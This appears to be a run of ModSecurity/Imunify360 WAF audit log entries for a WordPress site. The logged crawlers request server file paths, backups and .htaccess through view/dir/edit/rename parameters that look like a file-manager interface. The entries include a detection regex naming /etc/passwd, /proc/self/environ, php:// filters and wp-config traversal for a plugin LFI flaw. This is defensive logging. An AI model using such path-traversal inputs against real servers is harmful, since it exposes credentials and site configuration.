{"transaction":{"time":"13/Mar/2026:08:03:48.587561 +0100","transaction_id":"abO21Pvasc2LTOMQTj97HgAAApQ","remote_address":"216.73.216.152","remote_port":36928,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatitocom.zip HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"554d150288954d1b3226311d0ea7c875","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7734362"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"554d150288954d1b3226311d0ea7c875","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atitocom.zip& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":169,"p2":1643,"p3":0,"p4":0,"p5":280,"sr":96,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:03:49.082538 +0100","transaction_id":"abO21cJuHGAsZ_bVQvkPjwAAA1E","remote_address":"216.73.216.152","remote_port":36742,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fjmksave HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3af0accadf59ab8ae84e275e0aa8cc25","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12255937"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3af0accadf59ab8ae84e275e0aa8cc25","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/jmksave& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":171,"p2":1674,"p3":0,"p4":0,"p5":286,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:03:49.583759 +0100","transaction_id":"abO21fvasc2LTOMQTj97IgAAApQ","remote_address":"216.73.216.152","remote_port":36928,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fagricole HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"848fbc1a09f52bf640a22c2acd1c7efb","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12255943"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"848fbc1a09f52bf640a22c2acd1c7efb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/agricole& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":168,"p2":1635,"p3":0,"p4":0,"p5":281,"sr":97,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:04:01.876954 +0100","transaction_id":"abO24VlrCM1mgECVnsPnEwAAA5c","remote_address":"216.73.216.152","remote_port":49172,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fzipper-2025-01-17--10-51.zip HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"53b9a88ae2109ef012c60ea0454e80ec","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10322032"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"53b9a88ae2109ef012c60ea0454e80ec","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/zipper-2025-01-17--10-51.zip& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":227,"p2":2518,"p3":0,"p4":0,"p5":455,"sr":107,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:04:02.658481 +0100","transaction_id":"abO24llrCM1mgECVnsPnFwAAA5c","remote_address":"216.73.216.152","remote_port":49172,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fzipper-2024-08-19--09-24.zip HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6a03cd8aec806189d2782bd1728acbf5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12060355"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6a03cd8aec806189d2782bd1728acbf5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/zipper-2024-08-19--09-24.zip& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":276,"p2":2509,"p3":0,"p4":0,"p5":440,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:04:02.917980 +0100","transaction_id":"abO24sJuHGAsZ_bVQvkPrwAAA1E","remote_address":"216.73.216.152","remote_port":36742,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fzipper-2024-08-19--09-24.zip HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fe706e922fefb879d055558be0e80528","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12060358"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fe706e922fefb879d055558be0e80528","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/zipper-2024-08-19--09-24.zip& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":253,"p2":2325,"p3":0,"p4":0,"p5":498,"sr":128,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:04:03.097212 +0100","transaction_id":"abO248JuHGAsZ_bVQvkPsAAAA1E","remote_address":"216.73.216.152","remote_port":36742,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Frobots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"db08212683f185d15792a43cb2180156","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3475004"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"db08212683f185d15792a43cb2180156","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/robots.txt& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":409,"p2":2091,"p3":0,"p4":0,"p5":502,"sr":124,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:05:13.977653 +0100","transaction_id":"abO3KYVUYFiiXhJv30mSuAAAAsk","remote_address":"57.141.20.21","remote_port":34740,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/om_KE/LC_PAPER HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"4c36fc6edbde80a3539493eb928fbb25","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7734424"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4c36fc6edbde80a3539493eb928fbb25","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/om_KE/LC_PAPER||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":178,"p2":4374,"p3":0,"p4":0,"p5":372,"sr":124,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:05:28.268924 +0100","transaction_id":"abO3OLF5yQKviNRUY1bQvgAAA8Y","remote_address":"216.73.216.152","remote_port":53808,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2F.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5509923d059b6b68e16d2295c771a859","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8683791"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5509923d059b6b68e16d2295c771a859","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abO3OLF5yQKviNRUY1bQvgAAA8Y\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":206,"p2":3589,"p3":0,"p4":0,"p5":403,"sr":203,"sw":125,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:05:59.877858 +0100","transaction_id":"abO3V4S9jYN6zgxYZni98AAAAwM","remote_address":"57.141.20.54","remote_port":53940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php8.2/include/php/Zend/zend_attributes.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"7e13f3d9d937c5196dc293072c01b9b4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5342998"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7e13f3d9d937c5196dc293072c01b9b4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.2/include/php/Zend/zend_attributes.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":179,"p2":3531,"p3":0,"p4":0,"p5":346,"sr":99,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:08:02.261006 +0100","transaction_id":"abO30oVUYFiiXhJv30mUBQAAAsc","remote_address":"57.141.20.44","remote_port":43468,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/sftproot/htdocs/ptso.jmkconsulting-ci.com/wp-includes/theme-compat/sidebar.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"ea1ec4011699c6acba49de2e9f469ba8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8683996"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ea1ec4011699c6acba49de2e9f469ba8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-includes/theme-compat/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"603\"] [id \"430037\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-includes/theme-compat/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"603\"] [id \"430037\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/dairy-products/\"] [unique_id \"abO30oVUYFiiXhJv30mUBQAAAsc\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-includes/theme-compat/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":185,"p2":2729,"p3":0,"p4":0,"p5":198,"sr":87,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:08:49.284999 +0100","transaction_id":"abO4AYS9jYN6zgxYZni_NwAAAxI","remote_address":"57.141.20.39","remote_port":40926,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/opt/php8.4/include/php/Zend/zend_generators.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"2bb7e37c2831acb4c1ae84a1f6fbc386","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8030745"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2bb7e37c2831acb4c1ae84a1f6fbc386","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.4/include/php/Zend/zend_generators.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":204,"p2":5250,"p3":0,"p4":0,"p5":341,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
